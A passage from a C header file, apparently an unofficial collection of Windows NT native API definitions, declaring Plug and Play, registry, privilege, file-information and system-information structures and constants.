// Common event data // GUID EventGuid; PLUGPLAY_EVENT_CATEGORY EventCategory; PULONG Result; ULONG Flags; ULONG TotalSize; PVOID DeviceObject; union { struct { GUID ClassGuid; WCHAR SymbolicLinkName[1]; } DeviceClass; struct { WCHAR DeviceIds[1]; } TargetDevice; struct { WCHAR DeviceId[1]; } InstallDevice; struct { PVOID NotificationStructure; WCHAR DeviceIds[1]; } CustomNotification; struct { PVOID Notification; } ProfileNotification; struct { ULONG NotificationCode; ULONG NotificationData; } PowerNotification; struct { PNP_VETO_TYPE VetoType; WCHAR DeviceIdVetoNameBuffer[1]; // DeviceIdVetoName } VetoNotification; struct { GUID BlockedDriverGuid; } BlockedDriverNotification; struct { WCHAR ParentId[1]; } InvalidIDNotification; } u; } PLUGPLAY_EVENT_BLOCK, *PPLUGPLAY_EVENT_BLOCK; typedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS; #define MDL_HASH_TABLE_SIZE 64 #define MDL_HASH_MASK (MDL_HASH_TABLE_SIZE-1) #define MDL_HASH_INDEX(wch) ((RtlUpcaseUnicodeChar((wch)) - (WCHAR)'A') & MDL_HASH_MASK) #if !defined(_WINNT_) #define HEAP_MAKE_TAG_FLAGS( b, o ) ((ULONG)((b) + ((o) << 18))) #endif #define RTL_HEAP_MAKE_TAG HEAP_MAKE_TAG_FLAGS typedef struct _TIME_FIELDS { CSHORT Year; // range [1601...] CSHORT Month; // range [1..12] CSHORT Day; // range [1..31] CSHORT Hour; // range [0..23] CSHORT Minute; // range [0..59] CSHORT Second; // range [0..59] CSHORT Milliseconds;// range [0..999] CSHORT Weekday; // range [0..6] == [Sunday..Saturday] } TIME_FIELDS; typedef TIME_FIELDS *PTIME_FIELDS; typedef struct _RTL_TIME_ZONE_INFORMATION { LONG Bias; WCHAR StandardName[ 32 ]; TIME_FIELDS StandardStart; LONG StandardBias; WCHAR DaylightName[ 32 ]; TIME_FIELDS DaylightStart; LONG DaylightBias; } RTL_TIME_ZONE_INFORMATION, *PRTL_TIME_ZONE_INFORMATION; typedef struct _RTL_BITMAP_RUN { ULONG StartingIndex; ULONG NumberOfBits; } RTL_BITMAP_RUN; typedef RTL_BITMAP_RUN *PRTL_BITMAP_RUN; typedef struct _PARSE_MESSAGE_CONTEXT { ULONG fFlags; ULONG cwSavColumn; SIZE_T iwSrc; SIZE_T iwDst; SIZE_T iwDstSpace; va_list lpvArgStart; } PARSE_MESSAGE_CONTEXT, *PPARSE_MESSAGE_CONTEXT; typedef enum _RTL_RXACT_OPERATION { RtlRXactOperationDelete = 1, // Causes sub-key to be deleted RtlRXactOperationSetValue, // Sets sub-key value (creates key(s) if necessary) RtlRXactOperationDelAttribute, RtlRXactOperationSetAttribute } RTL_RXACT_OPERATION, *PRTL_RXACT_OPERATION; typedef struct _RTL_RXACT_LOG { ULONG OperationCount; ULONG LogSize; ULONG LogSizeInUse; #if defined(_M_X64) ULONG Alignment; #endif } RTL_RXACT_LOG, *PRTL_RXACT_LOG; typedef struct _RTL_RXACT_CONTEXT { HANDLE RootRegistryKey; HANDLE RXactKey; BOOLEAN HandlesValid; PRTL_RXACT_LOG RXactLog; } RTL_RXACT_CONTEXT, *PRTL_RXACT_CONTEXT; #define MAXIMUM_LEADBYTES 12 typedef struct _CPTABLEINFO { USHORT CodePage; // code page number USHORT MaximumCharacterSize; // max length (bytes) of a char USHORT DefaultChar; // default character (MB) USHORT UniDefaultChar; // default character (Unicode) USHORT TransDefaultChar; // translation of default char (Unicode) USHORT TransUniDefaultChar; // translation of Unic default char (MB) USHORT DBCSCodePage; // Non 0 for DBCS code pages UCHAR LeadByte[MAXIMUM_LEADBYTES]; // lead byte ranges PUSHORT MultiByteTable; // pointer to MB translation table PVOID WideCharTable; // pointer to WC translation table PUSHORT DBCSRanges; // pointer to DBCS ranges PUSHORT DBCSOffsets; // pointer to DBCS offsets } CPTABLEINFO, *PCPTABLEINFO; typedef struct _NLSTABLEINFO { CPTABLEINFO OemTableInfo; CPTABLEINFO AnsiTableInfo; PUSHORT UpperCaseTable; // 844 format upcase table PUSHORT LowerCaseTable; // 844 format lower case table } NLSTABLEINFO, *PNLSTABLEINFO; #define RTL_RANGE_LIST_SHARED_OK 0x00000001 #define RTL_RANGE_LIST_NULL_CONFLICT_OK 0x00000002 typedef struct _RTL_RANGE { ULONGLONG Start; // Read only ULONGLONG End; // Read only PVOID UserData; // Read/Write PVOID Owner; // Read/Write UCHAR Attributes; // Read/Write UCHAR Flags; // Read only } RTL_RANGE, *PRTL_RANGE; typedef BOOLEAN (*PRTL_CONFLICT_RANGE_CALLBACK) ( IN PVOID Context, IN PRTL_RANGE Range ); typedef enum _EVENT_INFORMATION_CLASS { EventBasicInformation } EVENT_INFORMATION_CLASS; typedef enum _PLUGPLAY_CONTROL_CLASS { PlugPlayControlEnumerateDevice, PlugPlayControlRegisterNewDevice, PlugPlayControlDeregisterDevice, PlugPlayControlInitializeDevice, PlugPlayControlStartDevice, PlugPlayControlUnlockDevice, PlugPlayControlQueryAndRemoveDevice, PlugPlayControlUserResponse, PlugPlayControlGenerateLegacyDevice, PlugPlayControlGetInterfaceDeviceList, PlugPlayControlProperty, PlugPlayControlDeviceClassAssociation, PlugPlayControlGetRelatedDevice, PlugPlayControlGetInterfaceDeviceAlias, PlugPlayControlDeviceStatus, PlugPlayControlGetDeviceDepth, PlugPlayControlQueryDeviceRelations, PlugPlayControlTargetDeviceRelation, PlugPlayControlQueryConflictList, PlugPlayControlRetrieveDock, PlugPlayControlResetDevice, PlugPlayControlHaltDevice, PlugPlayControlGetBlockedDriverList, MaxPlugPlayControl } PLUGPLAY_CONTROL_CLASS, *PPLUGPLAY_CONTROL_CLASS; typedef VOID (*PPS_APC_ROUTINE) ( _In_opt_ PVOID ApcArgument1, _In_opt_ PVOID ApcArgument2, _In_opt_ PVOID ApcArgument3 ); typedef enum _KEY_INFORMATION_CLASS { KeyBasicInformation, KeyNodeInformation, KeyFullInformation, KeyNameInformation, KeyCachedInformation, KeyFlagsInformation, MaxKeyInfoClass } KEY_INFORMATION_CLASS; typedef struct _KEY_BASIC_INFORMATION { LARGE_INTEGER LastWriteTime; ULONG TitleIndex; ULONG NameLength; WCHAR Name[1]; } KEY_BASIC_INFORMATION, *PKEY_BASIC_INFORMATION; typedef enum _KEY_VALUE_INFORMATION_CLASS { KeyValueBasicInformation, KeyValueFullInformation, KeyValuePartialInformation, KeyValueFullInformationAlign64, KeyValuePartialInformationAlign64, MaxKeyValueInfoClass } KEY_VALUE_INFORMATION_CLASS; // // Value entry query structures // 14.09.11 typedef struct _KEY_VALUE_BASIC_INFORMATION { ULONG TitleIndex; ULONG Type; ULONG NameLength; WCHAR Name[1]; // Variable size } KEY_VALUE_BASIC_INFORMATION, *PKEY_VALUE_BASIC_INFORMATION; typedef struct _KEY_VALUE_FULL_INFORMATION { ULONG TitleIndex; ULONG Type; ULONG DataOffset; ULONG DataLength; ULONG NameLength; WCHAR Name[1]; // Variable size // Data[1]; // Variable size data not declared } KEY_VALUE_FULL_INFORMATION, *PKEY_VALUE_FULL_INFORMATION; typedef struct _KEY_VALUE_PARTIAL_INFORMATION { ULONG TitleIndex; ULONG Type; ULONG DataLength; UCHAR Data[1]; // Variable size } KEY_VALUE_PARTIAL_INFORMATION, *PKEY_VALUE_PARTIAL_INFORMATION; typedef struct _KEY_VALUE_PARTIAL_INFORMATION_ALIGN64 { ULONG Type; ULONG DataLength; UCHAR Data[1]; // Variable size } KEY_VALUE_PARTIAL_INFORMATION_ALIGN64, *PKEY_VALUE_PARTIAL_INFORMATION_ALIGN64; typedef struct _KEY_VALUE_ENTRY { PUNICODE_STRING ValueName; ULONG DataLength; ULONG DataOffset; ULONG Type; } KEY_VALUE_ENTRY, *PKEY_VALUE_ENTRY; // // end of value info // typedef enum _KEY_SET_INFORMATION_CLASS { KeyWriteTimeInformation, KeyUserFlagsInformation, MaxKeySetInfoClass } KEY_SET_INFORMATION_CLASS; #define SE_CREATE_TOKEN_NAME TEXT("SeCreateTokenPrivilege") #define SE_ASSIGNPRIMARYTOKEN_NAME TEXT("SeAssignPrimaryTokenPrivilege") #define SE_LOCK_MEMORY_NAME TEXT("SeLockMemoryPrivilege") #define SE_INCREASE_QUOTA_NAME TEXT("SeIncreaseQuotaPrivilege") #define SE_UNSOLICITED_INPUT_NAME TEXT("SeUnsolicitedInputPrivilege") #define SE_MACHINE_ACCOUNT_NAME TEXT("SeMachineAccountPrivilege") #define SE_TCB_NAME TEXT("SeTcbPrivilege") #define SE_SECURITY_NAME TEXT("SeSecurityPrivilege") #define SE_TAKE_OWNERSHIP_NAME TEXT("SeTakeOwnershipPrivilege") #define SE_LOAD_DRIVER_NAME TEXT("SeLoadDriverPrivilege") #define SE_SYSTEM_PROFILE_NAME TEXT("SeSystemProfilePrivilege") #define SE_SYSTEMTIME_NAME TEXT("SeSystemtimePrivilege") #define SE_PROF_SINGLE_PROCESS_NAME TEXT("SeProfileSingleProcessPrivilege") #define SE_INC_BASE_PRIORITY_NAME TEXT("SeIncreaseBasePriorityPrivilege") #define SE_CREATE_PAGEFILE_NAME TEXT("SeCreatePagefilePrivilege") #define SE_CREATE_PERMANENT_NAME TEXT("SeCreatePermanentPrivilege") #define SE_BACKUP_NAME TEXT("SeBackupPrivilege") #define SE_RESTORE_NAME TEXT("SeRestorePrivilege") #define SE_SHUTDOWN_NAME TEXT("SeShutdownPrivilege") #define SE_DEBUG_NAME TEXT("SeDebugPrivilege") #define SE_AUDIT_NAME TEXT("SeAuditPrivilege") #define SE_SYSTEM_ENVIRONMENT_NAME TEXT("SeSystemEnvironmentPrivilege") #define SE_CHANGE_NOTIFY_NAME TEXT("SeChangeNotifyPrivilege") #define SE_REMOTE_SHUTDOWN_NAME TEXT("SeRemoteShutdownPrivilege") #define SE_UNDOCK_NAME TEXT("SeUndockPrivilege") #define SE_SYNC_AGENT_NAME TEXT("SeSyncAgentPrivilege") #define SE_ENABLE_DELEGATION_NAME TEXT("SeEnableDelegationPrivilege") #define SE_MANAGE_VOLUME_NAME TEXT("SeManageVolumePrivilege") #define SE_IMPERSONATE_NAME TEXT("SeImpersonatePrivilege") // #define SE_CREATE_GLOBAL_PRIVILEGE TEXT("SeCreateGlobalPrivilege") // #define SE_TRUSTED_CREDMAN_ACCESS_PRIVILEGE TEXT("SeTrustedCredmanAccessPrivilege") // #define SE_RELABEL_PRIVILEGE TEXT("SeReLabelPrivilege") #define SE_CREATE_GLOBAL_NAME TEXT("SeCreateGlobalPrivilege") // Privileges #define SE_MIN_WELL_KNOWN_PRIVILEGE (2L) #define SE_CREATE_TOKEN_PRIVILEGE (2L) #define SE_ASSIGNPRIMARYTOKEN_PRIVILEGE (3L) #define SE_LOCK_MEMORY_PRIVILEGE (4L) #define SE_INCREASE_QUOTA_PRIVILEGE (5L) #define SE_MACHINE_ACCOUNT_PRIVILEGE (6L) #define SE_TCB_PRIVILEGE (7L) #define SE_SECURITY_PRIVILEGE (8L) #define SE_TAKE_OWNERSHIP_PRIVILEGE (9L) #define SE_LOAD_DRIVER_PRIVILEGE (10L) #define SE_SYSTEM_PROFILE_PRIVILEGE (11L) #define SE_SYSTEMTIME_PRIVILEGE (12L) #define SE_PROF_SINGLE_PROCESS_PRIVILEGE (13L) #define SE_INC_BASE_PRIORITY_PRIVILEGE (14L) #define SE_CREATE_PAGEFILE_PRIVILEGE (15L) #define SE_CREATE_PERMANENT_PRIVILEGE (16L) #define SE_BACKUP_PRIVILEGE (17L) #define SE_RESTORE_PRIVILEGE (18L) #define SE_SHUTDOWN_PRIVILEGE (19L) #define SE_DEBUG_PRIVILEGE (20L) #define SE_AUDIT_PRIVILEGE (21L) #define SE_SYSTEM_ENVIRONMENT_PRIVILEGE (22L) #define SE_CHANGE_NOTIFY_PRIVILEGE (23L) #define SE_REMOTE_SHUTDOWN_PRIVILEGE (24L) #define SE_UNDOCK_PRIVILEGE (25L) #define SE_SYNC_AGENT_PRIVILEGE (26L) #define SE_ENABLE_DELEGATION_PRIVILEGE (27L) #define SE_MANAGE_VOLUME_PRIVILEGE (28L) #define SE_IMPERSONATE_PRIVILEGE (29L) #define SE_CREATE_GLOBAL_PRIVILEGE (30L) #define SE_TRUSTED_CREDMAN_ACCESS_PRIVILEGE (31L) #define SE_RELABEL_PRIVILEGE (32L) #define SE_INC_WORKING_SET_PRIVILEGE (33L) #define SE_TIME_ZONE_PRIVILEGE (34L) #define SE_CREATE_SYMBOLIC_LINK_PRIVILEGE (35L) #define SE_MAX_WELL_KNOWN_PRIVILEGE SE_CREATE_SYMBOLIC_LINK_PRIVILEGE typedef struct _CLIENT_ID { HANDLE UniqueProcess; HANDLE UniqueThread; } CLIENT_ID, *PCLIENT_ID; typedef struct _CLIENT_ID32 { ULONG UniqueProcess; ULONG UniqueThread; } CLIENT_ID32, *PCLIENT_ID32; typedef struct _CLIENT_ID64 { ULONGLONG UniqueProcess; ULONGLONG UniqueThread; } CLIENT_ID64, *PCLIENT_ID64; #include typedef struct _KSYSTEM_TIME { ULONG LowPart; LONG High1Time; LONG High2Time; } KSYSTEM_TIME, *PKSYSTEM_TIME; #include // // FILE_INFORMATION // //readded 17.09.11 EP_X0FF typedef struct _FILE_BASIC_INFORMATION { // ntddk wdm nthal LARGE_INTEGER CreationTime; // ntddk wdm nthal LARGE_INTEGER LastAccessTime; // ntddk wdm nthal LARGE_INTEGER LastWriteTime; // ntddk wdm nthal LARGE_INTEGER ChangeTime; // ntddk wdm nthal ULONG FileAttributes; // ntddk wdm nthal } FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION; // ntddk wdm nthal typedef struct _FILE_STANDARD_INFORMATION { LARGE_INTEGER AllocationSize; LARGE_INTEGER EndOfFile; ULONG NumberOfLinks; UCHAR DeletePending; UCHAR Directory; } FILE_STANDARD_INFORMATION; typedef struct _FILE_INTERNAL_INFORMATION { LARGE_INTEGER IndexNumber; } FILE_INTERNAL_INFORMATION, *PFILE_INTERNAL_INFORMATION; typedef struct _FILE_EA_INFORMATION { ULONG EaSize; } FILE_EA_INFORMATION, *PFILE_EA_INFORMATION; typedef struct _FILE_ACCESS_INFORMATION { ACCESS_MASK AccessFlags; } FILE_ACCESS_INFORMATION, *PFILE_ACCESS_INFORMATION; typedef struct _FILE_POSITION_INFORMATION { // ntddk wdm nthal LARGE_INTEGER CurrentByteOffset; // ntddk wdm nthal } FILE_POSITION_INFORMATION, *PFILE_POSITION_INFORMATION; // ntddk wdm nthal // ntddk wdm nthal typedef struct _FILE_MODE_INFORMATION { ULONG Mode; } FILE_MODE_INFORMATION, *PFILE_MODE_INFORMATION; typedef struct _FILE_ALIGNMENT_INFORMATION { // ntddk nthal ULONG AlignmentRequirement; // ntddk nthal } FILE_ALIGNMENT_INFORMATION, *PFILE_ALIGNMENT_INFORMATION; // ntddk nthal // ntddk nthal typedef struct _FILE_NAME_INFORMATION { // ntddk ULONG FileNameLength; // ntddk WCHAR FileName[1]; // ntddk } FILE_NAME_INFORMATION, *PFILE_NAME_INFORMATION; // ntddk typedef struct _FILE_ALL_INFORMATION { FILE_BASIC_INFORMATION BasicInformation; FILE_STANDARD_INFORMATION StandardInformation; FILE_INTERNAL_INFORMATION InternalInformation; FILE_EA_INFORMATION EaInformation; FILE_ACCESS_INFORMATION AccessInformation; FILE_POSITION_INFORMATION PositionInformation; FILE_MODE_INFORMATION ModeInformation; FILE_ALIGNMENT_INFORMATION AlignmentInformation; FILE_NAME_INFORMATION NameInformation; } FILE_ALL_INFORMATION, *PFILE_ALL_INFORMATION; typedef struct _FILE_NETWORK_OPEN_INFORMATION { // ntddk wdm nthal LARGE_INTEGER CreationTime; // ntddk wdm nthal LARGE_INTEGER LastAccessTime; // ntddk wdm nthal LARGE_INTEGER LastWriteTime; // ntddk wdm nthal LARGE_INTEGER ChangeTime; // ntddk wdm nthal LARGE_INTEGER AllocationSize; // ntddk wdm nthal LARGE_INTEGER EndOfFile; // ntddk wdm nthal ULONG FileAttributes; // ntddk wdm nthal } FILE_NETWORK_OPEN_INFORMATION, *PFILE_NETWORK_OPEN_INFORMATION; // ntddk wdm nthal // ntddk wdm nthal typedef struct _FILE_ATTRIBUTE_TAG_INFORMATION { // ntddk nthal ULONG FileAttributes; // ntddk nthal ULONG ReparseTag; // ntddk nthal } FILE_ATTRIBUTE_TAG_INFORMATION, *PFILE_ATTRIBUTE_TAG_INFORMATION; // ntddk nthal // ntddk nthal typedef struct _FILE_ALLOCATION_INFORMATION { LARGE_INTEGER AllocationSize; } FILE_ALLOCATION_INFORMATION, *PFILE_ALLOCATION_INFORMATION; typedef struct _FILE_COMPRESSION_INFORMATION { LARGE_INTEGER CompressedFileSize; USHORT CompressionFormat; UCHAR CompressionUnitShift; UCHAR ChunkShift; UCHAR ClusterShift; UCHAR Reserved[3]; } FILE_COMPRESSION_INFORMATION, *PFILE_COMPRESSION_INFORMATION; typedef struct _FILE_DISPOSITION_INFORMATION { // ntddk nthal BOOLEAN DeleteFile; // ntddk nthal } FILE_DISPOSITION_INFORMATION, *PFILE_DISPOSITION_INFORMATION; // ntddk nthal // ntddk nthal typedef struct _FILE_END_OF_FILE_INFORMATION { // ntddk nthal LARGE_INTEGER EndOfFile; // ntddk nthal } FILE_END_OF_FILE_INFORMATION, *PFILE_END_OF_FILE_INFORMATION; // ntddk nthal // ntddk nthal typedef struct _FILE_VALID_DATA_LENGTH_INFORMATION { // ntddk nthal LARGE_INTEGER ValidDataLength; // ntddk nthal } FILE_VALID_DATA_LENGTH_INFORMATION, *PFILE_VALID_DATA_LENGTH_INFORMATION; // ntddk nthal typedef struct _FILE_LINK_INFORMATION { BOOLEAN ReplaceIfExists; HANDLE RootDirectory; ULONG FileNameLength; WCHAR FileName[1]; } FILE_LINK_INFORMATION, *PFILE_LINK_INFORMATION; typedef struct _FILE_MOVE_CLUSTER_INFORMATION { ULONG ClusterCount; HANDLE RootDirectory; ULONG FileNameLength; WCHAR FileName[1]; } FILE_MOVE_CLUSTER_INFORMATION, *PFILE_MOVE_CLUSTER_INFORMATION; typedef struct _FILE_RENAME_INFORMATION { BOOLEAN ReplaceIfExists; HANDLE RootDirectory; ULONG FileNameLength; WCHAR FileName[1]; } FILE_RENAME_INFORMATION, *PFILE_RENAME_INFORMATION; typedef struct _FILE_STREAM_INFORMATION { ULONG NextEntryOffset; ULONG StreamNameLength; LARGE_INTEGER StreamSize; LARGE_INTEGER StreamAllocationSize; WCHAR StreamName[1]; } FILE_STREAM_INFORMATION, *PFILE_STREAM_INFORMATION; typedef struct _FILE_TRACKING_INFORMATION { HANDLE DestinationFile; ULONG ObjectInformationLength; CHAR ObjectInformation[1]; } FILE_TRACKING_INFORMATION, *PFILE_TRACKING_INFORMATION; typedef struct _FILE_COMPLETION_INFORMATION { HANDLE Port; PVOID Key; } FILE_COMPLETION_INFORMATION, *PFILE_COMPLETION_INFORMATION; typedef struct _FILE_PIPE_INFORMATION { ULONG ReadMode; ULONG CompletionMode; } FILE_PIPE_INFORMATION, *PFILE_PIPE_INFORMATION; typedef struct _FILE_PIPE_LOCAL_INFORMATION { ULONG NamedPipeType; ULONG NamedPipeConfiguration; ULONG MaximumInstances; ULONG CurrentInstances; ULONG InboundQuota; ULONG ReadDataAvailable; ULONG OutboundQuota; ULONG WriteQuotaAvailable; ULONG NamedPipeState; ULONG NamedPipeEnd; } FILE_PIPE_LOCAL_INFORMATION, *PFILE_PIPE_LOCAL_INFORMATION; typedef struct _FILE_PIPE_REMOTE_INFORMATION { LARGE_INTEGER CollectDataTime; ULONG MaximumCollectionCount; } FILE_PIPE_REMOTE_INFORMATION, *PFILE_PIPE_REMOTE_INFORMATION; typedef struct _FILE_MAILSLOT_QUERY_INFORMATION { ULONG MaximumMessageSize; ULONG MailslotQuota; ULONG NextMessageSize; ULONG MessagesAvailable; LARGE_INTEGER ReadTimeout; } FILE_MAILSLOT_QUERY_INFORMATION, *PFILE_MAILSLOT_QUERY_INFORMATION; typedef struct _FILE_MAILSLOT_SET_INFORMATION { PLARGE_INTEGER ReadTimeout; } FILE_MAILSLOT_SET_INFORMATION, *PFILE_MAILSLOT_SET_INFORMATION; typedef struct _FILE_REPARSE_POINT_INFORMATION { LONGLONG FileReference; ULONG Tag; } FILE_REPARSE_POINT_INFORMATION, *PFILE_REPARSE_POINT_INFORMATION; // // NtQuery(Set)EaFile // // The offset for the start of EaValue is EaName[EaNameLength + 1] // // begin_ntddk begin_wdm typedef struct _FILE_FULL_EA_INFORMATION { ULONG NextEntryOffset; UCHAR Flags; UCHAR EaNameLength; USHORT EaValueLength; CHAR EaName[1]; } FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION; // end_ntddk end_wdm typedef struct _FILE_GET_EA_INFORMATION { ULONG NextEntryOffset; UCHAR EaNameLength; CHAR EaName[1]; } FILE_GET_EA_INFORMATION, *PFILE_GET_EA_INFORMATION; // // NtQuery(Set)QuotaInformationFile // typedef struct _FILE_GET_QUOTA_INFORMATION { ULONG NextEntryOffset; ULONG SidLength; SID Sid; } FILE_GET_QUOTA_INFORMATION, *PFILE_GET_QUOTA_INFORMATION; typedef struct _FILE_QUOTA_INFORMATION { ULONG NextEntryOffset; ULONG SidLength; LARGE_INTEGER ChangeTime; LARGE_INTEGER QuotaUsed; LARGE_INTEGER QuotaThreshold; LARGE_INTEGER QuotaLimit; SID Sid; } FILE_QUOTA_INFORMATION, *PFILE_QUOTA_INFORMATION; // // NtQueryDirectoryFile return types: // // FILE_DIRECTORY_INFORMATION // FILE_FULL_DIR_INFORMATION // FILE_ID_FULL_DIR_INFORMATION // FILE_BOTH_DIR_INFORMATION // FILE_ID_BOTH_DIR_INFORMATION // FILE_NAMES_INFORMATION // FILE_OBJECTID_INFORMATION // typedef struct _FILE_DIRECTORY_INFORMATION { ULONG NextEntryOffset; ULONG FileIndex; LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; LARGE_INTEGER EndOfFile; LARGE_INTEGER AllocationSize; ULONG FileAttributes; ULONG FileNameLength; WCHAR FileName[1]; } FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION; typedef struct _FILE_FULL_DIR_INFORMATION { ULONG NextEntryOffset; ULONG FileIndex; LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; LARGE_INTEGER EndOfFile; LARGE_INTEGER AllocationSize; ULONG FileAttributes; ULONG FileNameLength; ULONG EaSize; WCHAR FileName[1]; } FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION; typedef struct _FILE_ID_FULL_DIR_INFORMATION { ULONG NextEntryOffset; ULONG FileIndex; LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; LARGE_INTEGER EndOfFile; LARGE_INTEGER AllocationSize; ULONG FileAttributes; ULONG FileNameLength; ULONG EaSize; LARGE_INTEGER FileId; WCHAR FileName[1]; } FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION; typedef struct _FILE_BOTH_DIR_INFORMATION { ULONG NextEntryOffset; ULONG FileIndex; LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; LARGE_INTEGER EndOfFile; LARGE_INTEGER AllocationSize; ULONG FileAttributes; ULONG FileNameLength; ULONG EaSize; CCHAR ShortNameLength; WCHAR ShortName[12]; WCHAR FileName[1]; } FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION; typedef struct _FILE_ID_BOTH_DIR_INFORMATION { ULONG NextEntryOffset; ULONG FileIndex; LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; LARGE_INTEGER EndOfFile; LARGE_INTEGER AllocationSize; ULONG FileAttributes; ULONG FileNameLength; ULONG EaSize; CCHAR ShortNameLength; WCHAR ShortName[12]; LARGE_INTEGER FileId; WCHAR FileName[1]; } FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION; typedef struct _FILE_NAMES_INFORMATION { ULONG NextEntryOffset; ULONG FileIndex; ULONG FileNameLength; WCHAR FileName[1]; } FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION; typedef struct _FILE_OBJECTID_INFORMATION { LONGLONG FileReference; UCHAR ObjectId[16]; union { struct { UCHAR BirthVolumeId[16]; UCHAR BirthObjectId[16]; UCHAR DomainId[16]; } ; UCHAR ExtendedInfo[48]; }; } FILE_OBJECTID_INFORMATION, *PFILE_OBJECTID_INFORMATION; // // SYSTEM_INFORMATION // typedef struct _SYSTEM_GDI_DRIVER_INFORMATION { UNICODE_STRING DriverName; PVOID ImageAddress; PVOID SectionPointer; PVOID EntryPoint; PIMAGE_EXPORT_DIRECTORY ExportSectionPointer; ULONG ImageLength; } SYSTEM_GDI_DRIVER_INFORMATION, *PSYSTEM_GDI_DRIVER_INFORMATION; typedef struct _SYSTEM_EXCEPTION_INFORMATION { ULONG AlignmentFixupCount; ULONG ExceptionDispatchCount; ULONG FloatingEmulationCount; ULONG ByteWordEmulationCount; } SYSTEM_EXCEPTION_INFORMATION, *PSYSTEM_EXCEPTION_INFORMATION; // // taken from http://www.acc.umu.se/~bosse/ntifs.h - contents are questionable. // typedef enum _THREAD_STATE { StateInitialized, StateReady, StateRunning, StateStandby, StateTerminated, StateWait, StateTransition, StateUnknown } THREAD_STATE; typedef enum _KWAIT_REASON { Executive, FreePage, PageIn, PoolAllocation, DelayExecution, Suspended, UserRequest, WrExecutive, WrFreePage, WrPageIn, WrPoolAllocation, WrDelayExecution, WrSuspended, WrUserRequest, WrEventPair, WrQueue, WrLpcReceive, WrLpcReply, WrVirtualMemory, WrPageOut, WrRendezvous, Spare2, Spare3, Spare4, Spare5, Spare6, WrKernel, WrResource, WrPushLock, WrMutex, WrQuantumEnd, WrDispatchInt, WrPreempted, WrYieldExecution, WrFastMutex, WrGuardedMutex, WrRundown, MaximumWaitReason } KWAIT_REASON; //FIXED 21.02.2011 size for x64/x86 typedef struct _SYSTEM_THREAD_INFORMATION { LARGE_INTEGER KernelTime; LARGE_INTEGER UserTime; LARGE_INTEGER CreateTime; ULONG WaitTime; PVOID StartAddress; CLIENT_ID ClientId; KPRIORITY Priority; KPRIORITY BasePriority; ULONG ContextSwitchCount; THREAD_STATE State; KWAIT_REASON WaitReason; } SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION; typedef struct _SYSTEM_EXTENDED_THREAD_INFORMATION { SYSTEM_THREAD_INFORMATION ThreadInfo; PVOID StackBase; PVOID StackLimit; PVOID Win32StartAddress; ULONG_PTR Reserved1; ULONG_PTR Reserved2; ULONG_PTR Reserved3; ULONG_PTR Reserved4; } SYSTEM_EXTENDED_THREAD_INFORMATION, *PSYSTEM_EXTENDED_THREAD_INFORMATION; typedef struct _SYSTEM_POOL_ENTRY { BOOLEAN Allocated; BOOLEAN Spare0; USHORT AllocatorBackTraceIndex; ULONG Size; union { UCHAR Tag[4]; ULONG TagUlong; PVOID ProcessChargedQuota; }; } SYSTEM_POOL_ENTRY, *PSYSTEM_POOL_ENTRY; typedef struct _SYSTEM_POOL_INFORMATION { SIZE_T TotalSize; PVOID FirstEntry; USHORT EntryOverhead; BOOLEAN PoolTagPresent; BOOLEAN Spare0; ULONG NumberOfEntries; SYSTEM_POOL_ENTRY Entries[1]; } SYSTEM_POOL_INFORMATION, *PSYSTEM_POOL_INFORMATION; typedef struct _SYSTEM_POOLTAG { union { UCHAR Tag[4]; ULONG TagUlong; }; ULONG PagedAllocs; ULONG PagedFrees; SIZE_T PagedUsed; ULONG NonPagedAllocs; ULONG NonPagedFrees; SIZE_T NonPagedUsed; } SYSTEM_POOLTAG, *PSYSTEM_POOLTAG; typedef struct _SYSTEM_BIGPOOL_ENTRY { union { PVOID VirtualAddress; ULONG_PTR NonPaged : 1; // Set to 1 if entry is nonpaged. }; SIZE_T SizeInBytes; union { UCHAR Tag[4]; ULONG TagUlong; }; } SYSTEM_BIGPOOL_ENTRY, *PSYSTEM_BIGPOOL_ENTRY; typedef struct _SYSTEM_POOLTAG_INFORMATION { ULONG Count; SYSTEM_POOLTAG TagInfo[ 1 ]; } SYSTEM_POOLTAG_INFORMATION, *PSYSTEM_POOLTAG_INFORMATION; typedef struct _SYSTEM_SESSION_POOLTAG_INFORMATION { SIZE_T NextEntryOffset; ULONG SessionId; ULONG Count; SYSTEM_POOLTAG TagInfo[ 1 ]; } SYSTEM_SESSION_POOLTAG_INFORMATION, *PSYSTEM_SESSION_POOLTAG_INFORMATION; typedef struct _SYSTEM_BIGPOOL_INFORMATION { ULONG Count; SYSTEM_BIGPOOL_ENTRY AllocatedInfo[ 1 ]; } SYSTEM_BIGPOOL_INFORMATION, *PSYSTEM_BIGPOOL_INFORMATION; typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO { USHORT UniqueProcessId; USHORT CreatorBackTraceIndex; UCHAR ObjectTypeIndex; UCHAR HandleAttributes; USHORT HandleValue; PVOID Object; ULONG GrantedAccess; } SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO; typedef struct _SYSTEM_HANDLE_INFORMATION { ULONG NumberOfHandles; SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[ 1 ]; } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; typedef struct 